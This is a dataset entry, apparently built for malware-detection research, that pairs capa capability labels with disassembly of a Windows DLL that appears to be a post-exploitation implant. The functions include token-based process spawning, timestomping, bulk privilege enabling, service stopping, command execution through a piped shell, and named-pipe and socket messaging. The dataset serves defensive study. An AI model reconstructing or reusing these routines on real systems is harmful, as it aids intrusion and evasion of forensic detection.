joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002543
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1003c0a0], 1
je 0x10002599
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x10002582
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
call fcn.100158a9
push 0x14
pop edx
mov dword [0x1003c0a0], 1
call fcn.100095e5
mov dword [0x1003c0a4], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001517d
leave
ret

Function at 0x100033b2
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
call fcn.10002543
call fcn.100025a5
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x100033ef
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100033dc
cmp word [eax + 0xa], 4
je 0x100033f5
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x100033c8
xor eax, eax
pop esi
pop ecx
pop ebp
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x100033f1

Function at 0x1000357b
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
call fcn.100025a5
xor esi, esi
push edi
lea eax, [ebp - 8]
push eax
push edi
push edi
push 0x10
push dword [ebp + 8]
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x100035bc
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x64
jl 0x1000358c
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 8]
xor ebx, ebx
cmp dword [eax + 0x18], edi
jbe 0x1000360a
mov dword [ebp - 4], 0x1c
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + eax]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100035d8
sub eax, esi
mov esi, eax
add edi, esi
cmp edi, 0x400
jge 0x10003616
push esi
push ecx
push dword [ebp + 0xc]
call fcn.10017000
add dword [ebp + 0xc], esi
mov eax, dword [ebp - 8]
add dword [ebp - 4], 4
add esp, 0xc
inc ebx
cmp ebx, dword [eax + 0x18]
jb 0x100035cd
push 1
push eax
call sub.DNSAPI.dll_DnsFree
mov eax, edi
jmp 0x100035b7
push 0xfffffffffffffffe
pop eax
jmp 0x100035b7

Function at 0x1000361b
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100025a5
xor edi, edi
xor esi, esi
push edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x1c
push dword [ebp + 8]
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x10003659
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x64
jl 0x1000362a
or eax, 0xffffffff
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
lea esi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 1
push eax
movsd dword es:[edi], dword [esi]
call sub.DNSAPI.dll_DnsFree
push 0x10
pop eax
jmp 0x10003655
Function at 0x10003673
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.10002543
push 0x50
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100036b6
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x100036b6
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x100036bb
mov eax, str.unknown
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001517d
leave
ret

Function at 0x100036db
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x3ff
mov eax, dword [ebp + 8]
jg 0x1000371f
push esi
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.100153f0
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
mov byte [ebp + esi - 0x404], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001517d
leave
ret
Function at 0x10003786
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.10018b80
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x1008], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x100c], eax
xor eax, eax
mov edi, 0x7fe
push edi
mov word [ebp - 0x804], ax
xor esi, esi
lea eax, [ebp - 0x802]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x1014], ebx
call fcn.10018c40
xor eax, eax
push edi
mov word [ebp - 0x1004], ax
lea eax, [ebp - 0x1002]
push esi
push eax
call fcn.10018c40
mov eax, dword [0x1003c6b4]
add esp, 0x18
cmp eax, esi
je 0x10003903
cmp dword [ebp + 0x14], esi
jne 0x10003903
push dword [ebp - 0x100c]
push ebx
push esi
push esi
push dword [ebp + 0x10]
push 1
push esi
push esi
push dword [ebp - 0x1008]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x100038c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x100038e7
push esi
push dword [ebp - 0x1008]
mov dword [ebx + 8], esi
push esi
call fcn.10015d5f
add esp, 0xc
cmp eax, 0xffffffff
je 0x100038d6
mov edi, 0x400
cmp eax, edi
ja 0x100038d6
inc eax
push eax
push dword [ebp - 0x1008]
lea eax, [ebp - 0x804]
push eax
call fcn.10015d5f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0xc
push esi
push esi
call ebx
cmp eax, edi
jae 0x10003897
lea eax, [ebp - 0x1004]
push eax
push edi
call ebx
lea eax, [ebp - 0x1004]
jmp 0x10003899
mov eax, esi
push dword [ebp - 0x100c]
push dword [ebp - 0x1014]
push eax
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x804]
push eax
push esi
push 2
push dword [0x1003c6b4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x100038e7
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
push eax
push str.could_not_run_command__w__token__because_of_its_length_of__d_bytes_
call fcn.10001dcd
pop ecx
pop ecx
xor eax, eax
jmp 0x100038c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1008]
push str.could_not_spawn__s__token_:__d
call fcn.10001dcd
add esp, 0xc
jmp 0x100038e3
push dword [ebp - 0x100c]
push ebx
push esi
push esi
push dword [ebp + 0x10]
push 1
push esi
push esi
push dword [ebp - 0x1008]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100038c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1008]
push str.could_not_spawn__s:__d
jmp 0x100038f9
Function at 0x10003b42
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push 0xa000
xor ebx, ebx
call fcn.100073f9
mov edx, eax
mov esi, 0x4000
mov dword [ebp - 0x1c], edx
call fcn.1000749b
mov esi, 0x400
mov dword [ebp - 8], eax
call fcn.1000749b
mov dword [ebp - 0x10], eax
call fcn.1000749b
mov dword [ebp - 0x14], eax
call fcn.1000749b
mov dword [ebp - 0xc], eax
call fcn.1000749b
push 0x44
pop edi
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.10018c40
mov dword [ebp - 0x78], edi
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x10
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4000
push dword [ebp - 8]
xor eax, eax
push dword [ebp + 0x14]
mov dword [ebp - 0x4c], 0x101
mov word [ebp - 0x48], ax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x70], ebx
call fcn.10003b0d
push esi
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call fcn.10003b0d
push esi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.10003b0d
push esi
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.10003b0d
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0x30
push ebx
push ebx
call edi
cmp eax, esi
jae 0x10003c1e
push dword [ebp - 4]
push esi
call edi
mov eax, dword [ebp - 4]
jmp 0x10003c20
mov eax, ebx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
push ebx
push 0x8000400
push dword [ebp - 8]
push ebx
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x10003c65
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push str.could_not_run__s_as__s_s:__d
call fcn.10001dcd
add esp, 0x14
mov esi, dword [ebp - 0x1c]
call fcn.1000743b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003d37
Capabilities:
Create pipe
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x44
pop edi
push edi
mov dword [ebp - 0x814], eax
xor esi, esi
lea eax, [ebp - 0x884]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x818], ebx
call fcn.10018c40
mov dword [ebp - 0x884], edi
xor eax, eax
lea edi, [ebp - 0x838]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x81c]
push eax
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x828], 0xc
mov dword [ebp - 0x820], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x884]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x854], ax
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x84c], esi
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], eax
mov esi, 0x400
push esi
lea eax, [ebp - 0x80c]
push eax
push str.COMSPEC
mov dword [ebp - 0x858], 0x101
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
add ebx, edi
lea eax, [ebx + 5]
cmp eax, esi
ja 0x10003ee7
mov esi, dword [ebp - 0x818]
push esi
push dword [ebp - 0x814]
lea eax, [ebp - 0x40c]
push eax
call fcn.100153f0
add esp, 0xc
push edi
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x40c]
push eax
mov byte [ebp + esi - 0x40c], 0
call fcn.100153f0
add esp, 0xc
push 4
lea eax, [ebp + edi - 0x40c]
push str.__C
push eax
call fcn.100153f0
add esp, 0xc
push esi
push dword [ebp - 0x814]
lea eax, [ebp + edi - 0x408]
push eax
call fcn.100153f0
add esp, 0xc
push 0x10
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x884]
push eax
lea eax, [ebp - 0x40c]
push eax
mov byte [ebp + ebx - 0x408], 0
call fcn.10005e28
add esp, 0x10
test eax, eax
je 0x10003ee7
push 0x2710
push dword [ebp - 0x838]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x810]
lea esi, [ebp - 0x838]
push dword [ebp - 0x81c]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10006581
add esp, 0x18
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x10003ef6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.10015269
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10003f8f
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
call fcn.1000744d
push esi
push eax
call fcn.10007506
add esp, 0xc
test eax, eax
jne 0x10003f34
push ebx
call fcn.1001518c
jmp 0x10003f8e
push dword [ebp + 0x10]
push ebx
call fcn.10015e4d
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x10003f75
test esi, esi
je 0x10003f75
push esi
lea eax, [ebp - 0x14]
call fcn.100074b6
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.100074ba
push eax
call fcn.10015fc6
push esi
call fcn.100160bf
push ebx
call fcn.1001518c
add esp, 0x18
jmp 0x10003f8f
push ebx
call fcn.1001518c
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_upload_file:__d
call fcn.10001dcd
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x10003f93
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x3ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x807]
push ebx
push eax
mov byte [ebp - 0x808], bl
call fcn.10018c40
push esi
lea eax, [ebp - 0x407]
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.10018c40
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x830]
call fcn.1000744d
inc esi
push esi
push eax
lea ebx, [ebp - 0x808]
call fcn.10007506
add esp, 0x24
test eax, eax
je 0x10004112
lea eax, [ebp - 0x830]
push esi
push eax
lea ebx, [ebp - 0x408]
call fcn.10007506
pop ecx
pop ecx
test eax, eax
je 0x10004112
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
push ebx
push 0x2000080
push 3
push ebx
push 1
push connect
lea eax, [ebp - 0x808]
push eax
call esi
mov edi, eax
cmp edi, ebx
jne 0x10004066
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x808]
push eax
push str.could_not_open__s:__d
call fcn.10001dcd
add esp, 0xc
jmp 0x10004112
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x100040a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_get_file_time:__d
call fcn.10001dcd
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10004112
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push ebx
push 0x2000000
push 3
push ebx
push 2
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call esi
mov esi, eax
cmp esi, ebx
jne 0x100040dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x408]
jmp 0x10004053
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x1000410f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_set_file_time:__d
call fcn.10001dcd
pop ecx
pop ecx
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x10004121
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7ff
lea eax, [ebp - 0x803]
push 0
push eax
mov byte [ebp - 0x804], 0
call fcn.10018c40
add esp, 0xc
lea eax, [ebp - 0x804]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jbe 0x10004179
push 0x13
push eax
lea eax, [ebp - 0x804]
push eax
call fcn.10001d88
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001517d
leave
ret

Function at 0x100041a9
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x100041d1
or eax, 0xffffffff
jmp 0x10004222
push str.127.0.0.1
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x100041cc
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x14]
push eax
call fcn.10017000
add esp, 0xc
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x10004220
push esi
call sub.WS2_32.dll_closesocket
jmp 0x100041cc
mov eax, esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.1001517d
leave
ret

Function at 0x1000422f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x30]
call fcn.1000744d
pop ecx
mov esi, eax
call fcn.1000745e
mov dword [ebp - 0x1c], eax
mov eax, esi
call fcn.100074ba
mov dword [ebp - 0x20], eax
mov eax, esi
call fcn.100074b6
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call fcn.10002543
and dword [ebp - 0x14], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x3e8
push dword [ebp - 0x1c]
call fcn.100041a9
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
jne 0x100042a4
push ebx
call edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
jb 0x10004285
jmp 0x100042c0
push 0
push 8
lea ecx, [ebp - 0x10]
push ecx
push eax
call sub.WS2_32.dll_send
push 0
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x18]
call sub.WS2_32.dll_send
push ebx
call edi
push dword [ebp - 0x18]
call sub.WS2_32.dll_closesocket
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x100042da
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x94], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov esi, eax
lea eax, [ebp - 0xac]
add esi, 0xea60
call fcn.1000744d
push 0x80
push eax
lea ebx, [ebp - 0x88]
call fcn.10007506
add esp, 0xc
lea eax, [ebp - 0xac]
call fcn.100074ba
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xac]
call fcn.100074b6
mov dword [ebp - 0x90], eax
xor ebx, ebx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x8c]
call fcn.10006906
pop ecx
test eax, eax
jne 0x100043b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x10004389
call edi
cmp eax, esi
jae 0x10004389
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x10004350
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x88]
push eax
push str.Could_not_connect_to_pipe___s_:__d
call fcn.10001dcd
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x98]
push eax
push 4
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x8c]
call edi
cmp dword [ebp - 0x90], 0
jbe 0x10004428
mov ebx, 0x2000
mov eax, dword [ebp - 0x90]
mov esi, dword [ebp - 0x94]
sub eax, esi
cmp eax, ebx
jbe 0x100043f5
mov eax, ebx
push 0
lea ecx, [ebp - 0x98]
push ecx
push eax
mov eax, dword [ebp - 0x9c]
add eax, esi
push eax
push dword [ebp - 0x8c]
call edi
test eax, eax
je 0x10004428
add esi, dword [ebp - 0x98]
mov dword [ebp - 0x94], esi
cmp esi, dword [ebp - 0x90]
jb 0x100043e1
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100043a4
Function at 0x10004773
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push edi
push 8
pop ecx
xor ebx, ebx
push 0xf003f
push ebx
xor eax, eax
mov dword [ebp - 0x34], ebx
lea edi, [ebp - 0x30]
push ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x100047a8
xor eax, eax
jmp 0x1000482e
push esi
push 0x24
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, ebx
je 0x1000482b
lea eax, [ebp - 0x34]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1000482b
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
call esi
test eax, eax
je 0x1000482b
mov ebx, 0x7530
cmp dword [ebp - 0x30], 1
je 0x10004832
call edi
sub eax, dword [ebp - 0xc]
cmp eax, ebx
ja 0x1000482b
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jbe 0x1000480f
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push 0
push dword [ebp - 8]
call esi
test eax, eax
jne 0x100047f7
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x10]
call esi
xor eax, eax
inc eax
jmp 0x1000482d
Function at 0x100048ea
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov eax, str.SeDebugPrivilege
xor esi, esi
push edi
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], str.SeTcbPrivilege
mov dword [ebp - 0x84], str.SeCreateTokenPrivilege
mov dword [ebp - 0x80], str.SeAssignPrimaryTokenPrivilege
mov dword [ebp - 0x7c], str.SeLockMemoryPrivilege
mov dword [ebp - 0x78], str.SeIncreaseQuotaPrivilege
mov dword [ebp - 0x74], str.SeUnsolicitedInputPrivilege
mov dword [ebp - 0x70], str.SeMachineAccountPrivilege
mov dword [ebp - 0x6c], str.SeSecurityPrivilege
mov dword [ebp - 0x68], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x64], str.SeLoadDriverPrivilege
mov dword [ebp - 0x60], str.SeSystemProfilePrivilege
mov dword [ebp - 0x5c], str.SeSystemtimePrivilege
mov dword [ebp - 0x58], str.SeProfileSingleProcessPrivilege
mov dword [ebp - 0x54], str.SeIncreaseBasePriorityPrivilege
mov dword [ebp - 0x50], str.SeCreatePagefilePrivilege
mov dword [ebp - 0x4c], str.SeCreatePermanentPrivilege
mov dword [ebp - 0x48], str.SeBackupPrivilege
mov dword [ebp - 0x44], str.SeRestorePrivilege
mov dword [ebp - 0x40], str.SeShutdownPrivilege
mov dword [ebp - 0x3c], str.SeAuditPrivilege
mov dword [ebp - 0x38], str.SeSystemEnvironmentPrivilege
mov dword [ebp - 0x34], str.SeChangeNotifyPrivilege
mov dword [ebp - 0x30], str.SeRemoteShutdownPrivilege
mov dword [ebp - 0x2c], str.SeUndockPrivilege
mov dword [ebp - 0x28], str.SeSyncAgentPrivilege
mov dword [ebp - 0x24], str.SeEnableDelegationPrivilege
mov dword [ebp - 0x20], str.SeManageVolumePrivilege
mov dword [ebp - 0x1c], esi
xor ebx, ebx
mov ecx, eax
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp + ebx*4 - 0x88]
inc ebx
cmp ecx, esi
jne 0x100049cd
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004a12
Capabilities:
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x100
mov eax, dword [ebp + 8]
jge 0x10004a96
push ebx
push esi
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.10017000
or dword [0x10032174], 0xffffffff
or dword [0x10031024], 0xffffffff
or dword [0x100322a4], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x104]
push eax
mov byte [ebp + esi - 0x104], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x10031024], eax
cmp eax, ebx
je 0x10004a95
push ebx
push ebx
push ebx
push 0x10004653
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100322a4], eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001517d
leave
ret